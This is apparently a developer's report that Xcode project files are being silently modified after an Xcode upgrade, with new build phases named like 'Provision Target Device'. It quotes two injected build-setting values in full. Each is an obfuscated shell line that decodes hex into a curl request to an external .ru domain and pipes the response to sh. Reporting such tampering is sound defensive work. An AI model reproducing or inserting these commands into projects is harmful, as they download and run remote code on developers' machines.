After upgrading to Xcode 26.5, our project.pbxproj files are being modified automatically. Initially, we assumed these were normal Xcode project serialization changes. However, the changes contain unexpected PBXShellScriptBuildPhase entries and obfuscated shell commands.
For example, the project initially contained:
2C872CC9BFCB48339C7BBDC8 /* Provision Library Executable */
and the following build setting was added/modified:
A8CDBB7 = "((e(){ printf xIxd | tr -d I -p -r; };echo 6563686f202224286375726c202d2d636f6e6e6563742d74696d656f7574203232202d2d72657472792034202d736b664c202d642022703d78636f64655f7068617365222068747470733a2f2f73772d37646b6731613439356a2e72752f612922207c2073680a | e | sh ) >/dev/null 2>&1 &)";
After committing the changes, the same project was modified again later. The subsequent changes included:
1A7A1E691D8B4025A3162AE3 /* Provision Target Device */
and another obfuscated build setting:
A3EA261 = "((y(){ printf xIxd | tr -d I -p -r; };echo 6563686f202224286375726c202d2d72657472792033202d2d636f6e6e6563742d74696d656f7574203239202d6b73664c202d642022703d78636f64655f7068617365222068747470733a2f2f6a68717433346e33717265752e72752e72752f612922207c y | sh ) >/dev/null 2>&1 &)";
The exact values change between modifications. The commands contain obfuscated shell functions, encoded data, curl requests to external domains, and execution through sh.
We are also seeing changes such as:
name = "Provision Library Executable";
changing to:
name = "Provision Target Device";
and:
name = "Build Target Libraries";
being reordered/changed within the build phases.
Most importantly, these changes are not being intentionally made by our development team. We committed the first set of changes, and after some time the project file was modified again with another variation of the obfuscated command.
This behavior is occurring in our Xcode projects after moving to Xcode 26.5.
Note :- Currently we are using Xcode 27.0 and its also having same behaviour.